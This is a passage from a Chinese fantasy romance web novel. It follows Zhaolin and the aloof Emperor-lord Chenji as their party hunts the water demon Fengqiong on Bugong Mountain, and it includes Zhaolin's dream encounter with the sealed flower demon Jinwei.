“世间许多事都是带着风险的,每件事都有必须得去完成它的人,困难不会因为你害怕而消失。”谌己的声音淡淡的,带着抚慰人心的力量,“这妖界,是你命中注定就要来的,既然来了,这些已经发生或未曾发生的事,都需要你亲自去经历。”
“嗯……”都是命,命运使然,或许从得到谌己之力的那一日起,她的命运就已经被谱写。
“当然,你不会死。”
这已经是谌己不知道第多少次说她不会死了。
朝临对此深信不疑。
“我知道的,刚刚就是有些害怕,帝君这么一说,我忽然间就好了!”
朝临露出一脸笑容,对着谌己道。
谌己道:“贫嘴。”
朝临继续道:“帝君,我现在还有一点点紧张。”
“你说。”
“但是为了克服紧张,我发明了一种独门秘绝。”
“说来听听。”
“我在紧张的时候,全身会不受控制地发抖,这时候要是有人愿意与我进行一些身体接触,我就会马上将那些情绪抛之脑后,帝君,你可以……”
谌己脸一下就变臭了。
过了一会儿,朝临听见他问:“什么样的身体接触?”
“嗯?”她就是嘴上说说啊,并不求他真的做啊。
谌己冷着眼看向她,意味不明道:“我在问,你想要什么样的身体接触。”
朝临眨了眨眼睛,生怕自己又触怒谌己,干脆道:“拥,拥抱……”
下一瞬,她就被他拥入怀中。
他替她挡了一部分夜风,而声音混着夜风缓缓落下,带着些缱绻的凉意:“这样?”
“对……”朝临几乎要说不出话来。
那种奇异的感觉又出现了,游走在她的骨髓之间,找不到突破口。
她忽然很想咬谌己一口,咬在他手臂上就好。
但最佳位置应该是脖颈处,咬上一口,谌己应该会吃痛将她推开,再然后怒斥她,青筋暴起处却留有一道红痕……
朝临被这个想法吓到。
那些话本子到底给她带来了什么啊!
15. 奉穷
第二日,当晨光熹微,众人已集聚在等候处,晨间的风尚带着湿气,仔细一瞧,有人的发丝上还挂着细小的水珠。
朝临一行人赶到时,章传正和别组人结束谈笑。
符枝本就对这个表里不一的兔妖颇有微词,见状远远横他一眼,不屑道:“人家根本瞧不上我们。”
承光道:“三公子,此人底细尚且不明,还请忍耐一番。”
符枝背手而立,从嗓子眼挤出冷淡的一声:“哼!”
章传向前来,拱手笑道:“大家早,昨日睡得可好?”
莫问道:“挺好的,章兄看着是有什么开心事啊,笑得如此灿烂。”
章传谦卑道:“想到能与各位高手一同前行,我昨日激动得没睡觉。”
谈话间,芷禾穿过人群而来,红衣胜火,惹得旁人不住打量。
她只同四位随行者问候几声,接着便抱着手等待下文。
此行计策只能由各竞选者自行商讨,莫问在谌己的眼色压迫下,就将手一甩,好声好气地叫起那互看不顺眼的三位,到一旁商量去了。
今日阳光充沛,人群渐渐稀散,朝临左看右看,闲得发慌,问江残月:“为何要这么久?”
江残月将目光从那几人身上收回,稀松平常道:“莫问在跟他们争论,似乎有人不同意。”
“你连这都能看出来?”
“你仔细观察,芷禾与符枝都与莫问站在一边,如果不信他,是不会这样做的。”
朝林仔细瞧了瞧,道:“是哦,他们这是不是叫抱团排挤啊?”
江残月揉了揉朝临的脑袋,“不是。”
谌己一早就从朝临的香囊中找出桌椅坐好,又不知从何处找来茶壶,坐在树荫下乘凉品茶,承光站在他身侧,二人时不时搭话,朝临站地累了,撺掇江残月过去。
谌己于是给二人斟茶,在江残月还未坐下时,对她道:“江姑娘,你过去催催他们。”
江残月喝下茶水,道:“我如何劝动他们?”
谌己道:“从莫问下手。”
江残月眼眸中闪过一丝异光,没再说什么便过去了。
朝临坐下,问谌己:“帝君,如果莫问妥协了,我们岂不是得跟着章传走,岂不是落入被动了?”
谌己看向她时,眼中带着些惊讶,口气还是冷冰冰的:“你竟能参悟透这些?”
朝临撇嘴,她才不是那么不会思索的人,“帝君,我整天跟你待在一块,不多生个心眼子,旁人可不就说你徒有虚名吗,我这叫,近朱者赤。”
其实朝临不知道的是,她白嫩的脸上依然挂上一抹不自然的殷红,谌己瞧着她不掩心虚的脸蛋,心下也挂了点愉悦。
“我看是跟着莫问学坏了,整天油嘴滑舌。”
朝临赶紧和莫问撇开关系,道:“我可没有!我与莫问并不熟。”
谌己冷哼,“那你与谁相熟?”
“承光啊!”朝临几乎没有思索,直言道。
承光听了这话,耳畔一阵火热,一时竟不知道说什么才好,支支吾吾半天,才道:“帝君,朝临与我认识的时间最长,这才......”
“跟我说这些做什么。”谌己放下手中的茶杯,看向朝临,朝临感受到一股寒凉之气,莫名打了个冷颤。
“她说谁就是谁。”
朝临知道谌己不开心了,但又摸不准到底是因为什么,于是用眼神问承光,承光也摇头。
“帝君,当然还有江残月,我也特别特别喜欢她,跟喜欢蕉竹姐姐一样。”
“随你喜欢谁。”谌己的目光不怎么友好地落在她身上,“你话太多了。”
朝临赶忙闭好嘴,一边想着哄人的法子,那边江残月正往回走,应当是谈妥了。
谌己收好桌椅,背手离去,承光对她说:“朝临,能认识你我也很开心。”
朝临笑说:“我也是,那我们不要吵架好不好?”
“嗯!”
莫问脸色不太好,见着二人走晚一步,便没心没肺道:“你们在聊什么见不得人的东西?还说起悄悄话了。”
朝临道:“关你什么事?“
莫问嗤一声,“也不知道关心……”
“怎么样,先往哪里去?”
谌己问符枝。
符枝拉一把莫问,道:“莫问想要赌一赌,先找金薇。”
“我认为该去找奉穷。”章传道。
莫问道:“奉穷水生,战力不敌其余四妖,必然被许多人所围剿,届时不仅要捉妖,还要防那些在暗处的对手,你有几条命啊?”
章传面露不耐,但被他很迅速地敛去,“可你知道那金薇的实力吗?怕是我们八个人都不够它塞牙缝的,况且,你怎么知道那些人会在暗中蹲守,倘若我说他们找不到奉穷——莫兄弟,你愿意去赌一把吗?”
谌己道:“看来你很熟悉这五大恶妖。”
章传微微躬身,道:“奉穷为水生,鱼头蛇身,常年生活在不共山的流动湖水中,行踪不定,脾气古怪,据妖史记载,它活了近万年,却只被世人撞见四回。”
芷禾道:“若是我们在七天内也找不到它,岂不是会成为笑话。”
“我有办法找到它。”章传脸上总是挂着淡淡的、得体的笑容,叫人无论如何都看不真切。
朝临偷偷问谌己:“帝君,那我们该听谁的?”
谌己道:“你续命得倚靠谁?”
“莫问?”
“嗯。”
符枝道:“既然章传兄如此有把握,那我投他一票。”
符枝的这一转变被众人看在眼里。
芷禾明朗的目光在莫问与章传间反复游走,终是没有彻底落下。
莫问垂眼挣扎一会,再抬头时,朗声道:“既如此,那我们便向那不共山吧,毕竟真对上那奉穷,我们还可与之一战。”
……
前往不共山的路很颠簸,众妖纷纷化出原型,腾空而起,不见踪影。
江残月在见到莫问的本体后,微微蹙眉。
“朝临,我觉得莫问有些熟悉。”
“哦。”朝临用连心术召来一大朵云,牵着江残月走上去,“你能不能和我说说,哪里熟悉啊?”
江残月摇头不愿说了,“可能是我看错了。”
朝临道:“不用想那么多,他是谁不重要。”
“嗯。”江残月将手伸进云朵当中,道:“朝临,你可真厉害。”
“这都是小术法。”总是被江残月这般夸,朝临属实有些不好意思。
“朝临,看着我。”江残月忽然道。
朝临照做,“嗯?
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”
江残月眼中迅速闪过一抹青色气息,接着她抬手,掐出一个陌生的诀,往朝临额间点了点。
“哇!”朝临顿觉全身舒爽,“你好厉害。”
江残月做出一个噤声的手势,悄悄道:“我修为有限,暂时只能给你一人下这聚息术,对了,将这个吃下。”她从随身携带的布袋中拿出一个小瓷瓶,从中倒出一颗豆大的药丸,“这是聚息丸,有补气聚息之效。”
朝临二话不说就将它吞下。
“这颗聚息丸浪费了。”
谌己的声音不带感情地传来。
江残月笑道:“帝君,你要吗?”
谌己摇头,看向承光:“你给他吧。”
江残月又倒出一颗给承光,又顺便走到谌己身边,道:“帝君,这几日可有消息?”
他们二人的对话总是隐秘的,承光识趣地走开,见朝临有些出神,有意道:“朝临,那是江姑娘的秘密。”
朝临道:“她的秘密只能帝君知道吗?”
“不是,可帝君在和她做交易。”
“好吧。”朝临走到云朵边缘坐下,将双腿悬在空中,盯着地面不断掠过的景象出神。
承光陪她一同坐下,问道:“你在想什么?”
朝临摇头,“我在看景色。”
“你这样,可不怎么像在看景色。”
“是吗?”朝临品味着这句话,忽然问:“承光,你说莫问最终会夺得妖王之位吗?”
承光道:“你要相信他,更要相信我们。”
“他要是无法成为妖王,我是不是就得死了。”
“不是的,那妖王印虽被孟鸾藏起来,但新皇上位那日,妖王印定然得传给下任妖王,到时我们就将它抢过来用一用。”
朝临道:“所以莫问争不争妖王与我们并无关系,我们只是借他的手而已是吗?”
“……”承光默认。
“那他好可怜。”
承光道:“他不可怜,妖王之争本就是他自愿选择的,我们只是在各取所求。”
“那我们分走他一颗妖丹,对他会有影响吗?”
承光抿唇,好半天才道:“朝临,你为何忽然这么关心他?”
朝临摇头,反问:“这样就是关心了吗?”
那谌己似乎从来不关心她。
“不是,大概是我弄错了。”承光不说话了。
朝临道:“承光,你回答我,分走一颗妖丹,对他会有影响吗?”
承光摇头,“朝临,你不要有负担,他那颗妖丹,才分化不久,没有什么妖力,于我们也只起到一个障眼法的作用,助我们在妖界民众面前伪装,加之自由通行妖界所有禁制。你放心吧,如果他因为失去这颗妖丹就坐不上妖王之位,那就是他能力不够。”
朝临又问:“那帝君呢?他身上也有妖丹吗?”
“你感受不出来吗?帝君身上有一颗蛇妖的妖丹。”
朝临想到那日将谌己带走的女子,双瞳确像蛇一般锋利。
“原来他那日是去取妖丹了。”
承光道:“准确来说,帝君那颗妖丹是那只妖自愿与他置换的,因为妖丹在帝君体内很乖顺,而莫问的妖丹总是很闹腾……”
“那你觉得,帝君认识那蛇妖吗?他们关系好吗?”
16. 捉你去解闷
“朝临,你……”承光欲言又止,这让朝临不免心虚。
“啊,我是担心帝君被骗,毕竟妖丹多么重要,就这么随便给出,会不会有诈?”
此话一出,朝临自己都听不下去,谌己还需要操心这些吗?
“不会的,帝君与那只蛇妖认识千年有余,你不用担心。”
承光却像全然没有听出什么一样,正经地回道。
原来认识这么久了啊。
怎么一个个都比她认识谌己的时间要长……
正想着,谌己不知何时站在二人身后,“承光,去让江残月帮你聚息。”
“嗯。”
承光翻身站起,走到江残月身边,谌己站在他方才坐的位置,缓缓道:“在说什么?”
朝临抬眼,风吹起他的发丝,拂过他从不多做表情的脸庞——他正居高临下地瞧着她。
“哦,随便聊聊。”朝临道,“帝君你们在聊什么呀?”她问得小心翼翼,惶恐惹恼了他。
“聊一些江残月不愿说的秘密。”
谌己难得跟她解释起来。
朝临问:“是那个找不到的人吗?”
谌己有些意外,“她同你说了?”
朝临:“嗯。”
“她要找的那人气息微弱,但并未离开人世,应该是靠着什么秘术吊着一口气,又被别有用心之人有意遮盖。”谌己淡淡道,“找起来有些麻烦。”
“但总归还活着,活着就有希望。”这是朝临一直以来的想法,她认为江残月也会这么想。
“可以这么说,她对那人执念太深了。”谌己轻描淡写一句,又告诫她:“不过此事牵扯颇深,你不要干涉太多。”
朝临点头,问:“那帝君,你会有危险吗?”
谌己:“不会。”
“那便好。”
如果朝临此时再认真观察谌己的眼眸,那么以她的敏锐度,一定会从中找出些不同寻常的情绪。
只可惜她的心思已经飘出很远,远远看去,见得远处一座黑山,山峰隐在浓厚妖气之中。
不共山坐落在妖界最西方,山上树木葱郁,太阳落山之时,是这座山最后清明的时候。
因为,当夜幕降临,山里便会缓缓弥漫出黑森的妖气,这些妖气似乎不断在告诉外来者,如若擅闯,则落入不归之地。
莫问一行人早早到了,寻到一处山洞修整,也不知道从哪里捕到几只未成型的小兔妖,将皮扒下,就火烤着。
章传脸都要气绿了。
江残月见状,从布袋中翻出一块烤饼给他,“你吃这个吧。”
章传对她道谢,目光触及到那些兔子,不忍再看,走到洞内坐好,郁闷地吃起干粮来。
芷禾与符枝都需要月光的滋养,碰巧洞口有两个平台,二人各占一个,闭目养神。
山洞很深,朝临往里走了走,用出点灯诀,山壁上的勾画便清晰地出现在她眼前。
那是五只凶神恶煞的妖兽。
其一鱼头蛇身;其二枯脸树身;其三团于焰火之中,面目丑陋;其四则隐藏于地面,浑身肉球;其五稍微不同,它是长在石头里的一朵花。
第一只妖兽,应当是那长在水里的奉穷。
朝临停在第二幅壁画前,此兽以树干为身,在树干之上,挂着一颗毫无生气的枯脸,而那枯脸上,最使人浑身不适的,则是它的眼珠。
“它叫千妄,木生。”
谌己在她身边站定,解释道。
朝临看向下一幅图,问道:“帝君,那它呢?”
“焰伺,火生,传言有它在的地方,皆是无法扑灭的业火,周遭生物无一能幸免……”
谌己以平和淡然的语气说出这些,朝临对此深信不疑。
她想到宵华殿那些神侍,他们讲那些离奇故事时,脸上表情总会很夸张,语气多少带着些神叨,这时候,再真的传言都能被听成故事。
“你在听吗?”谌己的声音慢慢落下。
“哦,在听,在听。”朝临眉眼弯弯的,“帝君,第四只妖兽是祝佯吧?”
“嗯,祝佯生于土地之中,无处不在,只要你脚踩大地,它就能准确捕捉到你。”
“啊?”朝临跺跺脚,“那我们此刻,岂不是正被它监视着。”
“可以这么说。”谌己道,“你害怕了?”
朝临摇头,道:“它应该不屑于抓我,毕竟我手无缚鸡之力,帝君你要小心才对。”
“……就这么盼着我死?”
“不是,不是!”朝临害怕谌己真这么想,赶忙解释道:“是因为帝君你太惹人注目,他肯定一早就感受到你了,敌在明我在暗,肯定要有所防备。”
谌己睨她一眼,道:“我不需要怕它。”
“这个我也知道。”朝临笑眯眯道,“帝君英明神武,五界之中有几人是你的对手?不过帝君殿下,你可不可以洒洒水,到时候帮帮我呢?”
“……”谌己脸已经黑了。
“我从不帮油嘴滑舌之人。”
朝临汗颜,换了法子,诚挚道:“还有啊,我怎么可能想帝君死呢,我死了帝君都不会死,帝君一定会活很久很久……”
“朝临。”谌己的眼神变幻万千,而朝临分明在这其中准确捕捉到了不忍,“我不会死,但你禁不起这般诅咒。”
“帝君,其实我不想死,我也不会那么随便就死的。”朝临道,“先前我总没底,害怕就此死去,但现在,我有足够的勇气去争取,所以我深知,不到不得不死的时候,我一定会咬着牙坚持,因为……”
谌己瞧她一眼,罕见地温和道:“因为什么?”
朝临想,因为我想日日见到你。
但这话她可不敢说出口,而且也怪怪的。
“因为,我想天天见到我的好朋友们。”朝临笑笑,将话锋转开,“我猜猜啊,最后一只是金薇。”
谌己点头。
“金薇属金生,千年前被封于大川之内,本体是一朵红艳的花,生于石长于石,擅长致幻之术。”
“帝君,她跟我说与你有些恩怨。”朝临道,“你们以前打过架啊?”
“……没有。”谌己道,“是孟鸾请我将她缉拿归案,只是我赶到战场上时,金薇体力不支无法反抗,按理来说,我跟她没什么过节。”
“那她在乱说?”
“也不完全是,毕竟封印她这件事,是我亲手做的。”
“……”难怪。
“帝君,那你应该很快就能找到她吧?”
谌己摇头,“大川山背面连接妖族未开拓之地,地界宽广,金薇被锁已过千年,她能耐不俗,想必早已在其间扎根结派;再有,妖王只请我封印大川,并未限制她的行动。所以,想找到她,须得经过她的允许。”
“原来如此……”
莫问在那头喊着烤好了,朝临肚子也咕咕叫,没再与谌己多聊,赶紧过去抢了只兔子腿。
这天夜里,朝临做了一个奇异的梦。
她走在一片荒山当中,到处都是灰黑破败的模样,她全力呐喊,但无人应答。
就在这时,不远处忽有亮光绽开,一朵鲜艳糜丽的花,于乱石中开放,毫无征兆。
朝临的心跳得很快,简直要跳出来,她知道,这是金薇。
它不高,不大,但这世间似乎又只剩它了。
朝临不受控制地朝它走去,停在它跟前,蹲下来,与它平视。
“你是金薇?”她听见自己的声音。
“嗯?你竟然能找到我?”
这是一个很古老的女声,仿佛来自远古,穿过虚空中所有的空隙,才来到她的身边。
“我……我应该在做梦。”朝临起身,艰难退后两步,“我不找你。”
“呵!”不知是错觉还是什么,朝临觉得金薇浑身红得更艳了。
“从来没有人能在这时找到我,你不过走运,才能在梦中窥见我的真容。”
“金薇大人,我真的无意打扰。”朝临陪笑,“我这就走了,保证不会跟任何人透露您的行踪。”
“你告诉了也无济于事。”金薇傲然道,“没人能找到我——嗯?我说你怎么能闯进这里,原来是个至纯的灵魂,你还是神族?”
“……”朝临心很累,“这都被您看出来了。”
“我的意思是,你身上有故人的气息。”
完蛋,定是谌己不知在什么时候与金薇对上,结下了仇怨。
完了完了。
“啊?应当是不小心沾上了些,我不认识那些……”<
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p>金薇像没听见一般,直截了当道:“谌己也来了?”
帝君果然大名鼎鼎。
“是啊。”朝临嗓子干巴巴的,“我是帝君的神侍,此番陪他来妖界游历。”
“几千年不见,他竟成了帝君?我果然没小看他。”
因为心慌,朝临已经听不出它的话是褒是贬,亦无法分辨它心情如何,只能走一步看一步。
“您与帝君还认识呢……”
“何止是,那可太熟了,他可是我们妖界的大救星。”
金薇语气中带着讽刺。
朝临的心已经提到了嗓子眼,试探着问:“那我就先走了?回去我就跟帝君说,改日再让他来找您一聚。”
“聚倒是不用了,再见到他时,我应该会杀了他。”
“……”
如果可以,朝临真想一巴掌给自己拍晕。
她暗自掐出一个疾驰诀,找准时机往后一跑,即刻便被扔至半空。
“找死!”
她又飞回金薇身前,这朵绚丽的花,此刻看来尤为可怖。
朝临眼泪都要出来了,“金薇大人,我与你无冤无仇,您就行行好,放过我吧。”
“我又不会吃了你。”金薇将她丢下来,“我话还没问完。”
朝临大喘一口气,“那你问。”
“妖界现任妖王是谁?”
“孟鸾。”
“哼,那个贱妇!怎得就让她当上了妖王?就凭她联合神族将我困在这里吗?”
朝临提醒道:“不过,新任妖王选拔在即,她马上就不是妖王了。”
金薇道:“我知道了,她是不是将我的项上人头做成了考测要求?”
朝临道:“不是不是,她命我们前来捉拿未训,因她背叛妖族,四处制造霍乱,故……”
“未训是谁?”金薇问道。
那妖王不是说未训联结五大恶妖到处为非作歹吗?
“一只虎妖。”
“原来是她。”金薇沉吟片刻后道,“你回去告诉孟鸾,我从未与那人合谋,让她不要再来烦我,否则,来一个杀一个。”
朝临:“行,我这就回去跟她说,那我走了?”
“嗯。”
朝临这才发觉,她不知道怎么回去。
“你知道怎么回去吗?”金薇讥讽道。
朝临坦诚道:“不知道。”
金薇嗤笑一声,破口喊:“谌己,我知道你在这,再不出手她可就得魂飞魄散,死在这里了!”
朝临突觉一股力正将她往后拉去,当她与金薇越来越远之时,那仿佛来自远古的声音再次传来:
“别来无恙啊,谌己帝君。”
朝临睁开眼时,首先见到谌己那深幽的眼眸。
他坐在一块矮石上,一言不发地望着侧靠在石壁上的她。
夜色依旧,她早已不在入睡之处,应当是谌己将她挪到了角落处。
眼前有摊火,朝临坐正身子,伸手烤了烤,问道:“帝君,那是金薇吗?”
“嗯。”谌己道,“你的魂魄不知为何游荡去了她所在的大川之中。”
朝临想了想,道:“她说是因为我至纯的灵魂,帝君,莫不是只要无脉无根无心,就能灵魂出窍从而找到她?”
“……”谌己像望傻子一般,“倒也不是。”
“哦,那就好,我之后应该不会再魂魄离体了吧?”
“我也不清楚。”谌己道,“你既已与她相识,说不定她往后哪日无聊,捉你去解闷……”
“那帝君,你还会救我吗?”
谌己睨她一眼,“不会。”
“帝君,为了你之后再救我,我可以给你分享一个机密。”朝临神神秘秘道。
谌己道:“你跟她说了什么我都知道。”
“……”朝临负气,“金薇说她并未与未训勾结,为何妖王还要对她赶尽杀绝?”
谌己道:“金薇一直是孟鸾的心腹大患,她想借此机会将她一并铲除。”
朝临不解:“可孟鸾即将卸去妖王之位,金薇除与不除,与她还有很大关系吗?”
他们高位者,总是这么深谋远虑吗?
然而谌己只是若有所思地看她一眼,接着道:“这我就不得而知了。”
17. 奉穷之毒
天亮后,朝临跟众人说了昨夜的经历。
然而大家的目标是掩藏在这深山中的奉穷,并未对此太过上心。
几人两两结伴,深入不共山找寻半日,皆无功而返。
中午日头正烈时,洞内凉爽依旧,朝临不愿再吃野味,便想出去找些新鲜吃食回来,谌己站在洞口遥望这山间,看破她欲言又止的模样,问道:“你要干什么?”
朝临道:“帝君,我饿了。”
谌己:“嗯。”
“我想出去找些吃的。”
谌己给她让路,道:“早去早回。”
朝临干笑:“帝君,您能和我一块去吗?”
谌己疑惑:“为什么?”
“我害怕,所以你看能不能......”
“把话说清楚我就随你去。”
朝临心想,她说得还不够清楚吗?谌己专心地等待着,目光沉沉,她于是硬着头皮道:“帝君,我想去找些吃的,但是我害怕,而您能耐多,您看能不能陪我一同前去?”
“可以。”谌己道,“下次再不好好说话,我便不再理会你。”
“好!”早说嘛。
朝临一早就看好地方,带着谌己往山洞左方一拐,进入一条藤蔓丛生的小径,朝临唯恐胡乱生长的藤蔓扎到谌己,有意走在前方开路,二人步子跨得很慢。
“让开。”
约莫是看不下去了,谌己冷言道。
朝临偷笑着绕到谌己身后,只见他手臂一摆,方才还粗壮的各类生长物,下一瞬便七零八落地落在地上,透出死气。
谌己又让她走到前面去,朝临赶忙听话向前,只是脚踝不知被什么硬物给绊了一下,一时未能控制住平衡,直往谌己怀里栽。
完蛋了。
谌己肯定不会扶她。
嗯?
如果他不扶她,那此刻她跌进的这个温热、结实的怀抱又是谁的?
谁又将一只手扶住她的腰肢?
朝临睁开一只眼,撞进谌己平静的眸子,他身上疏离之气太重,在此刻也是毫无变化的。
“还挺记仇。”
他不知是对谁说。
朝临问道:“什,什么?”
谌己垂着眼,“你能站了吗?”
“......”朝临赶紧借谌己的手臂站稳,挠挠头道:“谢谢帝君。”
谌己手中飞出一阵蓝色流光,落在地上,朝临看去,只见一朵生机焕发的小蘑菇顿时变得焉了吧唧的。
“原来是它。”朝临撇嘴。
谌己道:“这条路危机四伏,虽不致命,对你来说却是......”他顿了顿,“还要继续往后走吗?”
“走!”反正谌己在。
“那你小心些。”
后来的路并无变数,朝临觉得谌己故意在唬她。
小路尽头是一片澄澈的湖水,上午时芷禾从另条路找到过,说里头鱼儿的个头比兔子还大。
谌己站在树下不愿走了,朝临只好一人走到湖边,边缘的水目测不深,她挽好裤腿,找了一根尖锐的木棍,小心翼翼地踏进湖里。
水很凉,凉到骨髓都在作痛。
朝临欲速战速决,施法定住两条畅游的大鱼,将它们串上木棍,往岸上一丢,它们扑腾两下,失去生机。
这湖中鱼儿奇怪地紧,同伴已经一命归天,却还有不少鱼抢着过来做她的食物,朝临想着多抓几条也好,不断下定身咒,压根没注意自己已经远离了岸边。
谌己冷着眼看着她被一阵妖力吸引至湖中心,手间真气流动,他在找一个合适的出手时机。
朝临又捉住五条鱼,忽然意识到了些不对,她总感觉这些鱼是有意将她引到某个地方去的,于是她回头看了眼,不看不要紧,一看顿时被吓得不轻。
不知何时,她已经走到了湖中央,湖水已经漫至她的腰间。
她赶紧往回走,又见谌己还在树下懒懒站着,暗念应该没什么大事。
于是放慢步子,却在临近岸边时看见一个古怪的东西。
像是一条蛇,银灰色的皮肤几乎要与水融为一体,如果不是它就那么藏在阴影处静静看着她,她不可能看见它。
它动了动,朝临看清长在蛇身上的狰狞的鱼头。
是奉穷!
朝临心跳得飞快,小心翼翼地向谌己求助。
“用瞬现术,将它引出来。”
原来他早就知道。
朝临当做没看见奉穷的样子,将鱼儿往岸上一丢,又装模作样道:“帝君,今日咱们可算是可以吃顿好的了,你说是清蒸呢……”
那奉穷的头往前动了动。
“还是红烧呢。”朝临的牙齿已经开始打颤,一面将手背在身后施法,掐准时机,大喊一声:“起!”
她几乎是瞬间腾空,近些日子,瞬现术在谌己的指导下变得好使了不少,她正为自己虎口逃生而感到后怕时,左脚脚踝忽然一阵凉意。
“啊!”
她低头一看,只见一根粗长的、如墨一般的触手缠绕在她的小腿之上。
“帝君!”
在她就要被拽下去的同一时刻,属于谌己的强大气息,顿时将她包裹。
“吼!”
是奉穷的惨叫声,无比粗重。
谌己将朝临圈在怀里,在半空与奉穷过了几招,那在水里只跟大蟒一般大小的妖兽,一出水,身体竟有快五丈长!
奉穷不敌谌己,很快便钻入水里,凶恶的双眸浮在水面之上,不怀好意地打量着两人。
朝临把小腿上的触手扒下来,那玩意竟还跳动两下,惹得她胃里一阵翻江倒海。
谌己丢给她一块手帕。
“把腿擦干净。”
她照去做,同时不忘观察那奉穷,它盯着二人看了很久,似乎知道他们并无杀心,于是慢慢沉入水底,失了踪影。
谌己与朝临只是随行者,不可上手捉妖,这是规定。
朝临问道:“帝君,就这么让它跑了吗?”
过了片刻,谌己道:“我在它身上下了追踪术。”
“帝君真聪明!”朝临擦净腿,捏着手帕站起来,笑眯眯道:“帝君,我可是立功了?”
谌己:“嗯。”
“那帝君,有什么奖励吗?”
“……”谌己笑了笑,“谁要找这妖兽,你便去找谁好了。”
“……我知道了。”她不过是为了缓和气氛,“那我们快些回去告诉他们吧。”
谌己道:“回去让江残月替你祛毒,那妖兽的触手沾上有剧毒。”
“啊?!”
二人各怀心事地回到洞内,莫问见朝临狼狈模样,收下好几条鱼,道:“真给你们神族丢脸。”
“……”朝临不与他置气,忙于江残月说清楚事情经过。
江残月一听是奉穷的手笔,一向镇定的脸上露出些惶恐,拉开朝临裤腿的手也微微颤抖。
“朝临,你命也太大了。”
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>朝临瞪圆了眼睛,问道:“不是吧,这毒这么厉害?”
江残月点头,道:“奉穷浑身都是毒,最毒的便是它的触手,常人碰到就得死。”
朝临张了张嘴,“那我,岂不是真的要死了?”
“不会。”承光道,“你身上已经有一个深入骨髓的同命蛊,此蛊有排异性,奉穷的毒并不会再影响你,加之你身上并无助气息流动的脉络,更不用担心它会传至全身。”
朝临心凉了一半,“好吧,原来这同命蛊这么毒。”
江残月道:“不用担心,肯定有办法的。来,你忍着点,会有点痛。”
江残月很快便将奉穷之毒逼出,并细心帮朝临包扎好。
朝临静静看着她,消瘦的身子就胡乱被包在粗布麻衣当中,发丝总是梳理地清清爽爽,这会垂在她不过巴掌大的脸上,她总是这般沉默,又这般倔强。
“残月,你最近还好吗?”
江残月手上动作一停,抬眼,依旧笑眯眯的,“为什么这么问?帝君帮我查出他的一部分踪迹,应该,过不久就能找到他。”
可她眼底分明是道不明的伤感。
“江姑娘,一切皆有可能,你定会愿望成真。”
承光有听说过江残月的事,平日里不做打听,但此时也不禁想多说一句。
江残月起身,道:“我知道了,谢谢你们关心,与其在这替我忧心,不如跟我说说方才发生了什么。”
“……”
众人就形势分析一通,稍作休整后,便顺着谌己的追踪术一路追赶。
直到黄昏之时,才在深山昏幽处找见奉穷的踪迹。
莫问伸手在眼前的河流中探了探,“传说奉穷所经之地,其水变刺骨,带有腥气,它应该还在此处。”
“奉穷是夜生动物,这天马上就黑了,我们还要与它一战吗?”
符枝问。
章传道:“战,它显然已经感受到我们的存在,若是趁着今夜逃出不共山,那我们便再也找不到它了。”
莫问冷哼,“章兄,来时你说有法子能找到这奉穷,没想到倒让我这缺心眼的朋友先一步找到了,可见它并不难找,你的话可不可信我们先不论,眼见着就要天黑,你却让我们与奉穷一战,是想让我们都死吗?”
“莫兄为何这样想。”章传道,“你们死了对我有什么好处?”
芷禾道:“你们俩不许再吵了,听听帝君怎么说。”
所有人都将目光转向置身事外的谌己身上。
而他只说:“妖王正盯着我,我一出手,信不信你们全都得出局?”
就在众人纠结的时刻,莫问兀自沉吟片刻,忽然大喊道:“不好,它要跑,我们不得不下水了……”
“噗通!”
随着一声干脆的下水声,章传已经不见了人影。
符枝道:“好一个豪杰!”说罢,也跟着一跃而下。
芷禾朝莫问道:“既如此,我先下去了,你记得跟上来。”
莫问沉默地地站了会,停在水边,不知道在想什么。
江残月对着他的背影道:“莫问,不用管他怎么说,按照你自己的想法来。”
莫问脊背一僵。
“妖王之位,筛选的是能屈能伸的人,是聪明人,更是最后的胜出者。”谌己道,“过程只是暂时的,妖王只看结果。”
“哼。”莫问侧了侧头,露出一个狡黠的侧脸,“我才没有害怕,只是在听那奉穷的动向罢了。”
18. 还不快跑!
岸上,四人齐齐紧盯湖面荡起的水波,直到最后一圈轻轻飘开。
湖面归于平稳后,才有人问道:“为何如此安静?”
说话的人是江残月,她给下水的四人都下了聚息术,按理来说,她能感受到他们每个人的气息,但此刻,她竟怎么也感知不到他们,由此难免操忧。
“这水面有禁制。”谌己道,“正好克制你的聚息术。”
“好吧……”江残月漫不经心的,“也不知道他们是否都还活着。
承光道:“江姑娘,这本就是他们需要经历的,事在人为,你要相信他们。”
“对啊。”朝临拉住江残月的手晃了一晃,“我跟你说,莫问虽然看着不正经,但他可厉害了,你且看着吧,他肯定能平安上来。”
“但愿吧。”江残月走到岸边,蹲下来,将手伸进去感受一番,而后便直直盯住水面,好似只有这样,她才能安心一样。
朝临问谌己:“帝君,残月说你找到她心上人的一丝气息了?”
承光也道:“帝君,我听说那人早已……不知他现下在何处?”
“仍在五界之中。”谌己道,“只是,他有意掩藏气息,难以捉摸。”
朝临:“也就是还活着了?”
谌己点头。
承光却道:“虽然活着,却不肯露面,此人应当不简单,想法也不简单。”
朝临道:“总比死了的好,死了就再无生息了,活着还能问他究竟想干什么。”
“真的如此吗?只怕难以问到……”承光感叹道。
朝临隐约能猜出来一些,但这是他们知情人的心照不宣,于是她也当做听不懂的样子,没再往下多说了。
“帝君,这奉穷不是出了名的难寻吗,为何我们如此轻易便找到了它?”
承光问道。
“它在故意露面,为的是引我们上钩。”谌己淡淡道,“他们捉不住它。”
“这……”承光讶然,“怎么会这样?我感受到另一股更为强大的气息在附近蛰伏,那是什么?”
朝临也用探息术试了试,果然,在暗处藏着一个尤为澎湃的力量。
“祝佯,相传祝佯与奉穷相交至深,而祝佯又无处不在,现在想想,我们能在这里出现,应当是此二妖的计谋。”
谌己就像一块巨石,在这种局势下,总能冷静将局势分析,而听客,则只能在他的凝视间,屏息以待。
朝临道:“那我们要将计就计吗?”
谌己点头,看着平静的湖面,道:“莫问应该猜出十之八九,他或许是想赌一把,既是他的选择,就随着他去。”
承光点头,接着道:“也不知道他们怎么样了……”
朝临走到江残月身边,与她并排蹲下,“残月,你能看见吗?”
江残月摇头。
“他们,或许与奉穷打得不分上下吧。”
水底。
这片湖连接整座不共山的水系,这座山所有的水都出自这里,湖底有源源不断的水流从孔洞里挤出,争前恐后。
四妖一路追随,最后穿过水帘,来到一个干燥的水底洞穴。
洞穴里黑气弥漫,透着肃杀之气。
符枝手握长剑,挡在前方,道:“今日定要将奉穷缉拿归案!”
